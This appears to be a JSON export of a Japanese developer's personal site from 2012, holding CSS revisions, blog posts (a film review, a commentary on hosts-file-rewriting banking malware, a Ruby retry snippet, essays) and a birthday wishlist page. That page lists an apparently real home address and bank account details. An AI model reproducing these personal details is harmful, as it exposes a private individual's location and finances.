Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n# Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2012-10-14T03:19:52.000Z","updated_at":"2012-10-14T03:19:52.000Z"},{"id":2207,"name":"common.css","body":"raw\r\nmime css\r\nbody{\r\n text-align:center;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:grey}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2012-10-14T03:20:13.000Z","updated_at":"2012-10-14T03:20:13.000Z"},{"id":2208,"name":"text/ボーン・レガシーの感想","body":"%blog%\r\n\r\nまとめ\r\n\r\n1. ジェイソン・ボーンはジェイソン・ボーンシリーズに必要なかったんだ、、、\r\n2. Blackberry と Youtube\r\n3. 知的障害者と科学者の扱いあれ駄目だろ\r\n\r\n見たい人はもうみんな見てるころなので感想を書く。ボーン・レガシーはボーンシリーズの 4 作目で監督と主演の俳優が降板している。その結果としてこれまで脚本を書いていた人が監督になり、主演の俳優はジェレミー・レナーを連れてきている。\r\n\r\n旧作の脚本家が監督をやるというアイディアは実際よいアイディアで、ジェイソン・ボーンは名前のみの登場であるにも関わらずきちんとジェイソン・ボーンシリーズとして成立している。ジェイソン・ボーンがいなくてもスタッフの努力次第できちんとしたジェイソン・ボーン作品を作れるというのはかなりの衝撃であった。\r\n\r\nところで本作の世界はボーン・アルティメイタムの世界と時系列をほぼ同じであり、アルティメイタムとの明確な繋がりが見られる。ところでボーン・アルティメイタムでは以下のようなセリフがあった\r\n\r\n \"phone, blackberry, apartment, bank accounts, credit cards, travel history\" \r\n 字幕: \"電話 PDA アパート 銀行預金 カード 旅行履歴\"\r\n\r\nこれはなんてことのないセリフのように見えますが、実は問題があります。「Blackberry」をみんなが持っていて当然という時代背景が出てしまっているのです。また登場人物が携帯電話を使うシーンもあり、そこにも時代背景が濃厚に出てしまっています。\r\n\r\nレガシーにおいてはアルティメイタムによって示された「時代背景」は無かったことにされています。またレガシーにおいて新たに時代背景が浮き出てしまうことがないようにかなり注意して演出されていることが伺えます。\r\n\r\nしかしながら、 CIA の情報管理が杜撰であることを説明する為に極秘の内容が含まれる動画が Youtube に上げられていたという展開がありました。この用心深い映画において「数年後だろうが Youtube は使われているだろう」という前提でこのシーンが作られたことが推測されますが、その動きを非常に読み難いのがテクノロジー業界の特徴です。明らかに続編が企画されている本作においては悪手だったのではないかと思います。\r\n\r\n最後に作品そのものについてですが、非常に優れたものであると思いました。この手のスパイアクションにおいて「完璧な主人公」というのはアクションを盛り上げるのを助ける要素です。しかし完璧な主人公に観客が共感することは難しく、ストーリー性とアクションの盛り上がりはトレードオフになりがちです。\r\n\r\nジェイソン・ボーンの記憶を失なっているという設定は、最強の完璧の暗殺者である主人公がまるで普通の青年であるかのように悩むというありえない展開にそれらしさを与え、観客はジェイソン・ボーンに共感することが出来ます。優れたアイディアであるとい言えるでしょう。\r\n\r\nなんらかの「弱味」を上手く登場人物に与えることでストーリーを盛り上げるわけです。これは定石といえます。\r\n\r\n本作の主人公「アーロン・クロス」に与えられた「弱味」は「必死」です。彼は薬によって知能と体力を強化された改造人間ですが、薬を飲まなければその力を失なってしまいます。ところでジェイソン・ボーンの一連の事件の結果 CIA はアーロンらの改造人間を処分することを決定し、アーロンの始末に乗り出します。 CIA から始末されそうになっている以上薬も供給されないわけで、アーロンは CIA から逃げつつ薬を追い求めるわけです。\r\n\r\nジェイソン・ボーンシリーズにおいては、ボーンが追手から逃げつつ CIA の陰謀の真相に迫るという「逃走」と「追跡」の二重構造があったわけですが、レガシーにおいては「CIA から逃げつつ薬を追う」という非常に単純化された形でその構造が維持されています。\r\n\r\nそしてボーンをも遥かに越える最強の主人公、アーロン・クロスは何故か無様なまでに必死に薬を追うのです。このアーロンの描写は最初は彼をただの薬物中毒者に見せあまりいい印象を与えるものではありませんが、アーロンには「必死」の理由がちゃんと設定されています。\r\n\r\n彼は騙されてこのプロジェクトに無理矢理参画させられた知的障害者なのです。つまり知能を強化する薬がなければ彼は知的障害者に逆戻りしてしまうわけです。\r\n\r\nこの設定は非常に優れたアイディアです。アーロンの肉体的な素質がボーンを遥かに越えることはダイナミックな映像によって表現することが出来ますが、ボーンより知能が高いことを表現することは極めて困難です。実際ストーリーの序盤から中盤においてアーロンの高い知能が伺われるシーンというのはありません。しかしながら「もともと知的障害者」であればアーロンの知能が高い描写がない理由にも納得できるというわけです。\r\n\r\nただこの設定に私は非常に違和感というか憤りを覚えました。ジェイソン・ボーンシリーズは結局のところタイトルの通り「自分探し」の物語であるといえるでしょう。記憶を喪失するという最大のアイデンティティの喪失を経験した主人公が、自分は誰なのか、ひいては人間とは何なのかを追求する物語です。\r\n\r\n本作においてもその流れは引き継がれていると言うべきでしょう。アーロンは明らかにボーンと同じく「アイデンティティの無い存在」として描かれています。知的障害者という設定はアーロンのアイデンティティの不在を描く道具として利用されています。端的に言えば、知的障害者にはまともな人格が無い、と描かれているわけです。\r\n\r\nこの物語にはもうひとりアイデンティティの不在を描かれる人物がいます。ヒロインのマルタ・シェアリングです。マルタは科学者であり、身もよだつような人体実験に従事し、実験の対象を名前ではなく番号で認識し、必死さをみせるアーロンに対しては「自分は論文を発表することもできないのだ」などと反論するキャラクターです。人間性を失なった科学者として描写されます。本作においてマルタ一人がそのような科学者と描かれるわけではなく、マルタの同僚や上司達もそのような存在であると描かれています。\r\n\r\nでは本作が主張する「アイデンティティ」とは何なのか。それはメインキャラクターが男性と女性であることからも容易に分かります。恋愛です。恋愛をすることこそがアイデンティティの発露なのだということは序盤においても示されます。\r\n\r\n序盤においてアーロンは自分を暗殺しようとする工作員と接触します。しかしその工作員は思わせ振りな態度を見せ、アーロンを殺そうとしません。アーロンは工作員の様子から全てを察し彼に質問を投げかけます。「お前はこんなところに左遷されているようだが、恋愛のせいか?」と。ボーン・アルティメイタムで描かれた通り「命令されたからといって人を殺さないこと」は人間性の発露であり、そのように人間性を発揮する名も無き工作員が恋愛をしていたことが示されるわけです。\r\n\r\n誰もが予想する通りアーロンとマルタは最終的に恋に落ち映画は終わります。つまり本作をギリギリまで切り詰めてまとめると「知的障害者と科学者というまともなアイデンティティを持たない人達がいろいろあった挙句恋愛をするようなまともな人間になった」といったところでしょうか。知的障害者と科学者の描き方はリアリティを持たせているように見せかけつつ限界までカリカチュアライズされており差別的ですらあります。\r\n\r\n僕は本作を極めて面白い映画だと思いましたがストーリーのこのような部分についてはかなり不快感を抱きました。\r\n\r\nいずれにせよジェイソン・ボーンシリーズとして要求される品質、要素は本作にも全て盛り込まれており、見る価値のある映画と言えるでしょう。","created_at":"2012-10-14T15:21:46.000Z","updated_at":"2012-10-14T15:21:46.000Z"},{"id":2209,"name":"text/ボーン・レガシーの感想","body":"%blog%\r\n\r\nまとめ\r\n\r\n1. ジェイソン・ボーンはジェイソン・ボーンシリーズに必要なかったんだ、、、\r\n2. Blackberry と Youtube\r\n3. 知的障害者と科学者の扱いあれ駄目だろ\r\n\r\n見たい人はもうみんな見てるころなので感想を書きます。ボーン・レガシーはボーンシリーズの 4 作目で監督と主演の俳優が降板しています。その結果としてこれまで脚本を書いていた人が監督になり、主演の俳優はジェレミー・レナーを連れてきています。\r\n\r\n旧作の脚本家が監督をやるというアイディアは実際よいアイディアで、ジェイソン・ボーンは名前のみの登場であるにも関わらずきちんとジェイソン・ボーンシリーズとして成立しています。ジェイソン・ボーンがいなくてもスタッフの努力次第できちんとしたジェイソン・ボーン作品を作れるというのはかなりの衝撃でした。\r\n\r\nところで本作の世界はボーン・アルティメイタムの世界と時系列をほぼ同じであり、アルティメイタムとの明確な繋がりが見られます。ところでボーン・アルティメイタムでは以下のようなセリフがあります。\r\n\r\n \"phone, blackberry, apartment, bank accounts, credit cards, travel history\" \r\n 字幕: \"電話 PDA アパート 銀行預金 カード 旅行履歴\"\r\n\r\nこれはなんてことのないセリフのように見えますが、実は問題があります。「Blackberry」をみんなが持っていて当然という時代背景が出てしまっているのです。また登場人物が携帯電話を使うシーンもあり、そこにも時代背景が濃厚に出てしまっています。\r\n\r\nレガシーにおいてはアルティメイタムによって示された「時代背景」は無かったことにされています。またレガシーにおいて新たに時代背景が浮き出てしまうことがないようにかなり注意して演出されていることが伺えます。\r\n\r\nしかしながら、 CIA の情報管理が杜撰であることを説明する為に極秘の内容が含まれる動画が Youtube に上げられていたという展開がありました。この用心深い映画において「数年後だろうが Youtube は使われているだろう」という前提でこのシーンが作られたことが推測されますが、その動きを非常に読み難いのがテクノロジー業界の特徴です。明らかに続編が企画されている本作においては悪手だったのではないかと思います。\r\n\r\n最後に作品そのものについてですが、非常に優れたものであると思いました。この手のスパイアクションにおいて「完璧な主人公」というのはアクションを盛り上げるのを助ける要素です。しかし完璧な主人公に観客が共感することは難しく、ストーリー性とアクションの盛り上がりはトレードオフになりがちです。\r\n\r\nジェイソン・ボーンの記憶を失なっているという設定は、最強の完璧の暗殺者である主人公がまるで普通の青年であるかのように悩むというありえない展開にそれらしさを与え、観客はジェイソン・ボーンに共感することが出来ます。優れたアイディアであるとい言えるでしょう。\r\n\r\nなんらかの「弱味」を上手く登場人物に与えることでストーリーを盛り上げるわけです。これは定石といえます。\r\n\r\n本作の主人公「アーロン・クロス」に与えられた「弱味」は「必死」です。彼は薬によって知能と体力を強化された改造人間ですが、薬を飲まなければその力を失なってしまいます。ところでジェイソン・ボーンの一連の事件の結果 CIA はアーロンらの改造人間を処分することを決定し、アーロンの始末に乗り出します。 CIA から始末されそうになっている以上薬も供給されないわけで、アーロンは CIA から逃げつつ薬を追い求めるわけです。\r\n\r\nジェイソン・ボーンシリーズにおいては、ボーンが追手から逃げつつ CIA の陰謀の真相に迫るという「逃走」と「追跡」の二重構造があったわけですが、レガシーにおいては「CIA から逃げつつ薬を追う」という非常に単純化された形でその構造が維持されています。\r\n\r\nそしてボーンをも遥かに越える最強の主人公、アーロン・クロスは何故か無様なまでに必死に薬を追うのです。このアーロンの描写は最初は彼をただの薬物中毒者に見せあまりいい印象を与えるものではありませんが、アーロンには「必死」の理由がちゃんと設定されています。\r\n\r\n彼は騙されてこのプロジェクトに無理矢理参画させられた知的障害者なのです。つまり知能を強化する薬がなければ彼は知的障害者に逆戻りしてしまうわけです。\r\n\r\nこの設定は非常に優れたアイディアです。アーロンの肉体的な素質がボーンを遥かに越えることはダイナミックな映像によって表現することが出来ますが、ボーンより知能が高いことを表現することは極めて困難です。実際ストーリーの序盤から中盤においてアーロンの高い知能が伺われるシーンというのはありません。しかしながら「もともと知的障害者」であればアーロンの知能が高い描写がない理由にも納得できるというわけです。\r\n\r\nただこの設定に私は非常に違和感というか憤りを覚えました。ジェイソン・ボーンシリーズは結局のところタイトルの通り「自分探し」の物語であるといえるでしょう。記憶を喪失するという最大のアイデンティティの喪失を経験した主人公が、自分は誰なのか、ひいては人間とは何なのかを追求する物語です。\r\n\r\n本作においてもその流れは引き継がれていると言うべきでしょう。アーロンは明らかにボーンと同じく「アイデンティティの無い存在」として描かれています。知的障害者という設定はアーロンのアイデンティティの不在を描く道具として利用されています。端的に言えば、知的障害者にはまともな人格が無い、と描かれているわけです。\r\n\r\nこの物語にはもうひとりアイデンティティの不在を描かれる人物がいます。ヒロインのマルタ・シェアリングです。マルタは科学者であり、身もよだつような人体実験に従事し、実験の対象を名前ではなく番号で認識し、必死さをみせるアーロンに対しては「自分は論文を発表することもできないのだ」などと反論するキャラクターです。人間性を失なった科学者として描写されます。本作においてマルタ一人がそのような科学者と描かれるわけではなく、マルタの同僚や上司達もそのような存在であると描かれています。\r\n\r\nでは本作が主張する「アイデンティティ」とは何なのか。それはメインキャラクターが男性と女性であることからも容易に分かります。恋愛です。恋愛をすることこそがアイデンティティの発露なのだということは序盤においても示されます。\r\n\r\n序盤においてアーロンは自分を暗殺しようとする工作員と接触します。しかしその工作員は思わせ振りな態度を見せ、アーロンを殺そうとしません。アーロンは工作員の様子から全てを察し彼に質問を投げかけます。「お前はこんなところに左遷されているようだが、恋愛のせいか?」と。ボーン・アルティメイタムで描かれた通り「命令されたからといって人を殺さないこと」は人間性の発露であり、そのように人間性を発揮する名も無き工作員が恋愛をしていたことが示されるわけです。\r\n\r\n誰もが予想する通りアーロンとマルタは最終的に恋に落ち映画は終わります。つまり本作をギリギリまで切り詰めてまとめると「知的障害者と科学者というまともなアイデンティティを持たない人達がいろいろあった挙句恋愛をするようなまともな人間になった」といったところでしょうか。知的障害者と科学者の描き方はリアリティを持たせているように見せかけつつ限界までカリカチュアライズされており差別的ですらあります。\r\n\r\n僕は本作を極めて面白い映画だと思いましたがストーリーのこのような部分についてはかなり不快感を抱きました。\r\n\r\nいずれにせよジェイソン・ボーンシリーズとして要求される品質、要素は本作にも全て盛り込まれており、見る価値のある映画と言えるでしょう。","created_at":"2012-10-14T15:22:39.000Z","updated_at":"2012-10-14T15:22:39.000Z"},{"id":2210,"name":"common.css","body":"raw\r\nmime css\r\nbody{\r\n text-align:center;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:blue}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2012-10-24T06:01:28.000Z","updated_at":"2012-10-24T06:01:28.000Z"},{"id":2211,"name":"common.css","body":"raw\r\nmime css\r\nbody{\r\n text-align:center;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:red}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2012-10-25T05:19:08.000Z","updated_at":"2012-10-25T05:19:08.000Z"},{"id":2212,"name":"text/ウィルスとフィッシングの合わせ技について","body":"%blog%\r\n先日から[報道されていました](http://www.47news.jp/CN/201210/CN2012102701001490.html)が、銀行からも本日付けで[ニュースリリース](http://www.smbc.co.jp/news/j510332_01.html)が出ています。\r\n\r\n銀行側の発表が遅れた原因として\r\n\r\n- 銀行側のシステムがクラックされたわけではない\r\n- よって顧客のローカルのマシンがマルウェアに感染している可能性が極めて高い\r\n\r\nということを確認する為に若干時間がかかったからなのではないかと思われます。\r\n\r\n今回の攻撃は報道より\r\n\r\n1. なんらかの方法で\r\nネットバンキングを利用する人間のマシンにウイルスを感染させる\r\n2. ウイルスに感染させられた人がネットバンキングにアクセスしたら偽のページに流す\r\n3. 偽のページで情報が入力されたら正規のページに戻す\r\n\r\nという攻撃であると推測されます。ところでこのウイルスの動作が\r\n\r\n1. ネットバンクにログインしたことを確認したタイミングで hosts ファイルを書き換える\r\n2. hosts ファイルがおかしいので当然フィッシングサイトに行く\r\n3. フィッシングが完了したら hosts ファイルを戻す\r\n\r\nというような動作だった場合、「認証情報を入力する際は絶対にブラウザのロケーションバーを確認する」というフィッシングに対する防護策が一切通用しません。\r\n\r\nまた hosts ファイルを書き換えなくてもそもそもマルウェアに感染している時点でロケーションバーは信用出来なくなります。実装方法として楽なのは hosts ファイルの書き換えなので上記の例を示したまでです。\r\n\r\nこうした問題について、アプリケーション製作者の本音は\r\n\r\n**マルウェアに感染した人間のことなんぞ知るかボケ**\r\n\r\nあたりなのではないかと思います。しかしながら先の遠隔捜査ウイルス事件で示された通り、\r\n\r\n- ウイルス対策ソフトは未知のウイルスにある程度は対応できる\r\n - しかしながらそれは一般に流通しているマルウェア作成キットなどを使用したものに限られる\r\n - 完全に 1 から作られたウイルスは数カ月間潜伏し存分に機能しうる\r\n\r\nという現状があるわけで皆で知恵を出して考えていかなければならないのだと思います。","created_at":"2012-10-30T05:22:09.000Z","updated_at":"2012-10-30T05:22:09.000Z"},{"id":2213,"name":"common.css","body":"raw\r\nmime css\r\nbody{\r\n text-align:center;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:purple}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2012-10-30T05:23:58.000Z","updated_at":"2012-10-30T05:23:58.000Z"},{"id":2214,"name":"common.css","body":"raw\r\nmime css\r\nbody{\r\n text-align:center;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:#00AEEF}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2012-10-30T05:24:38.000Z","updated_at":"2012-10-30T05:24:38.000Z"},{"id":2215,"name":"common.css","body":"raw\r\nmime css\r\nbody{\r\n text-align:center;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:cyan}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2012-10-30T05:24:59.000Z","updated_at":"2012-10-30T05:24:59.000Z"},{"id":2216,"name":"common.css","body":"raw\r\nmime css\r\nbody{\r\n text-align:center;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:darkgreen}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2012-10-30T05:25:32.000Z","updated_at":"2012-10-30T05:25:32.000Z"},{"id":2217,"name":"text/ウィルスとフィッシングの合わせ技について","body":"%blog%\r\n先日から[報道されていました](http://www.47news.jp/CN/201210/CN2012102701001490.html)が、銀行からも本日付けで[ニュースリリース](http://www.smbc.co.jp/news/j510332_01.html)が出ています。\r\n\r\n銀行側の発表が遅れた原因として\r\n\r\n- 銀行側のシステムがクラックされたわけではない\r\n- よって顧客のローカルのマシンがマルウェアに感染している可能性が極めて高い\r\n\r\nということを確認する為に若干時間がかかったからなのではないかと思われます。\r\n\r\n今回の攻撃は報道より\r\n\r\n1. なんらかの方法で\r\nネットバンキングを利用する人間のマシンにウイルスを感染させる\r\n2. ウイルスに感染させられた人がネットバンキングにアクセスしたら偽のページに流す\r\n3. 偽のページで情報が入力されたら正規のページに戻す\r\n\r\nという攻撃であると推測されます。ところでこのウイルスの動作が、なんらかの方法でブラウザのロケーションバーに細工をするというような動作だった場合、「認証情報を入力する際は絶対にブラウザのロケーションバーを確認する」というフィッシングに対する防護策が一切通用しません。\r\n\r\nこうした問題について、アプリケーション製作者の本音は\r\n\r\n**マルウェアに感染した人間のことなんぞ知るかボケ**\r\n\r\nあたりなのではないかと思います。しかしながら先の遠隔捜査ウイルス事件で示された通り、\r\n\r\n- ウイルス対策ソフトは未知のウイルスにある程度は対応できる\r\n - しかしながらそれは一般に流通しているマルウェア作成キットなどを使用したものに限られる\r\n - 完全に 1 から作られたウイルスは数カ月間潜伏し存分に機能しうる\r\n\r\nという現状があるわけで皆で知恵を出して考えていかなければならないのだと思います。","created_at":"2012-10-30T05:38:45.000Z","updated_at":"2012-10-30T05:38:45.000Z"},{"id":2218,"name":"common.css","body":"raw\r\nmime css\r\nbody{\r\n text-align:center;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:red}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2012-10-30T08:45:46.000Z","updated_at":"2012-10-30T08:45:46.000Z"},{"id":2219,"name":"kure.ssig33.com","body":"title なんかくれ\r\n# 12/15 が誕生日だしなんかくれ!!!\r\n\r\n## [Amazon ウィッシュリスト経由でくれ](http://www.amazon.co.jp/registry/wishlist/12YQ45WYG0NQK)\r\n\r\n## 直接なんか送ってください\r\n160-0023 東京都新宿区西新宿6-25-16ライオンズマンション西新宿第七 608\r\n\r\n##金くれ\r\n三菱東京UFJ銀行 新宿新都心支店 0090551 コイケリク\r\n\r\n\u003cbutton id='youpy'\u003eCSSを適用する\u003c/button\u003e\r\n\u003cscript src='http://ssig33.com/js/youpy.js'\u003e\u003c/script\u003e\r\n\r\nsubdomain only","created_at":"2012-11-02T05:09:55.000Z","updated_at":"2012-11-02T05:09:55.000Z"},{"id":2220,"name":"text/失敗したら繰り返すやつ","body":"%blog%\r\n\r\nこれ http://hitode909.hatenablog.com/entry/2012/11/07/194803 だけど、普通は数を数えてリトライ回数を制限すると思う。\r\n\r\n``` ruby\r\nc = 0\r\nbegin\r\n open(url)\r\nrescue\r\n if c \u003c 10\r\n sleep 0.3\r\n c += 1\r\n retry\r\n end\r\nend\r\n```","created_at":"2012-11-07T23:32:19.000Z","updated_at":"2012-11-07T23:32:19.000Z"},{"id":2221,"name":"text/顧客第一という姿勢について・あるいは企業にどこまで公益への負担を求めるのか","body":"%blog%\r\n\r\nよく知られてる話として以下のようなものがあります\r\n\r\n- Amazon はどう考えても詐欺っぽい返金要請でも返金しちゃう。詐欺師じゃない顧客を疑いたくないから。\r\n- ブックオフは万引きを捕まえたりしない。泥棒じゃない顧客にそういうこと間違ってやりたくないから。\r\n\r\nこれ、一見「顧客第一」という姿勢に見えます。そういう思いでこういう施策をしているのかもしれません。しかし実際はそうではないです。ただ単に犯罪者と顧客を区別するコストを払っていないだけです。\r\n\r\nそのように考えると\r\n\r\n- すき家は強盗対策をしていなかった。金がかかってめんどくさいから。\r\n\r\nという話と実のところ変わらないです。犯罪によって失なわれる利益が犯罪対策にかかるコストより小さいなら犯罪対策をしないのは合理的です。\r\n\r\n合理的は合理的なんですが、強盗フリーの店があったり万引きフリーの店があったりすると、それは地域の治安の悪化の原因になります。\r\n\r\nAmazon の場合の同様で、種々のネットショップ、それも経営規模が小さく悪質顧客にきちんと対処していかないと困るネットショップとかが悪質顧客の被害にあいます。\r\n\r\nこのようなことは望ましくないわけで、「お前ら大企業もちゃんと犯罪者をとっつかまえろや」みたいなことをやっていく必要があります。これはつまり「公益の為にお前らの利益を一部供出せよ」と大企業に言うということになるわけで、行政や政治の仕事ということになります。\r\n\r\nしかしそういう「公益への負担」を求めるというのが参入障壁になったり健全な競争を妨げすぎたりするとそれはそれで結局別の公益が失なわれるので、バランスが大切だということになります。\r\n\r\n特に結論とか主張とかがあるわけじゃないです。","created_at":"2012-11-17T06:56:23.000Z","updated_at":"2012-11-17T06:56:23.000Z"},{"id":2222,"name":"text/外国と日本の接客の違い","body":"%blog%\r\n\r\n接客って一言で言ってもいろいろあるんですが。\r\n\r\nあんまり多くの国に行ったことがあるわけじゃないんだけど(10 ヶ国ぐらいかな?)、外国と日本の接客においてはっきりと違いを感じるところが一つあって、それは\r\n\r\n- 外国だと店員が客を差別することを許されてることが多い\r\n\r\nというところだと思う。それ以外は特に違いを感じない。住んでる場所柄なのか(新宿の端っこのほうに住んでます)日本でも適当な接客をうけること多いし、コーヒー 1 杯 1 ユーロのガソリンスタンド付属のカフェのおっちゃんがすごい親切だったこともある。\r\n\r\nただ外国では「友達が来たから丁寧に接客」「友達が来たから長話、お前らまあ待っとれや」みたいな光景を結構よくみた。そんな感じになるとみんな「ああしょうがないっすね」みたいな感じで携帯でも見ながら待ってたりする。日本で適当な接客をしてる人は誰にでも適当で、誰かを贔屓しているというのはあんまり見ない。\r\n\r\nまあ日本でも料理屋なんかだと客に差別をつけるみたいのよくあるけど。日常的なちょっとした接客で客に差別をつけるというのはあまり日本では見ない気がしている。\r\n\r\n客の態度はというと世界各国に同じように態度のデカい人や頭の低い人がそれぞれいるというふうに感じてます。\r\n\r\n適当なこと書いて外国持ち上げて日本貶めるようなブログにイラっと来たので書きました。以上。","created_at":"2012-11-17T12:12:36.000Z","updated_at":"2012-11-17T12:12:36.000Z"},{"id":2223,"name":"text/外国と日本の接客の違い","body":"%blog%\r\n\r\n接客って一言で言ってもいろいろあるんですが。\r\n\r\nあんまり多くの国に行ったことがあるわけじゃないんだけど(10 ヶ国ぐらいかな?)、外国と日本の接客においてはっきりと違いを感じるところが一つあって、それは\r\n\r\n- 外国だと店員が客を差別することを許されてることが多い\r\n\r\nというところだと思う。それ以外は特に違いを感じない。住んでる場所柄なのか(新宿の端っこのほうに住んでます)日本でも適当な接客をうけること多いし、ガソリンスタンド付属のコーヒー 1 杯 1 ユーロのカフェのおっちゃんがすごい親切だったこともある。\r\n\r\nただ外国では「友達が来たから丁寧に接客」「友達が来たから長話、お前らまあ待っとれや」みたいな光景を結構よくみた。そんな感じになるとみんな「ああしょうがないっすね」みたいな感じで携帯でも見ながら待ってたりする。日本で適当な接客をしてる人は誰にでも適当で、誰かを贔屓しているというのはあんまり見ない。\r\n\r\nまあ日本でも料理屋なんかだと客に差別をつけるみたいのよくあるけど。日常的なちょっとした接客で客に差別をつけるというのはあまり日本では見ない気がしている。\r\n\r\n客の態度はというと世界各国に同じように態度のデカい人や頭の低い人がそれぞれいるというふうに感じてます。\r\n\r\n適当なこと書いて外国持ち上げて日本貶めるようなブログにイラっと来たので書きました。以上。","created_at":"2012-11-17T12:34:06.000Z","updated_at":"2012-11-17T12:34:06.000Z"},{"id":2224,"name":"jquery.js","body":"raw\r\nmime js\r\n/*! jQuery v1.8.3 jquery.com | jquery.org/license */\r\n(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t\u0026\u0026e.nodeType===1){var i=\"data-\"+n.replace(P,\"-$1\").toLowerCase();r=e.getAttribute(i);if(typeof r==\"string\"){try{r=r===\"true\"?!0:r===\"false\"?!1:r===\"null\"?null:+r+\"\"===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t===\"data\"\u0026\u0026v.isEmptyObject(e[t]))continue;if(t!==\"toJSON\")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e||!e.parentNode||e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e\u0026\u0026e.nodeType!==1);return e}function ft(e,t,n){t=t||0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof 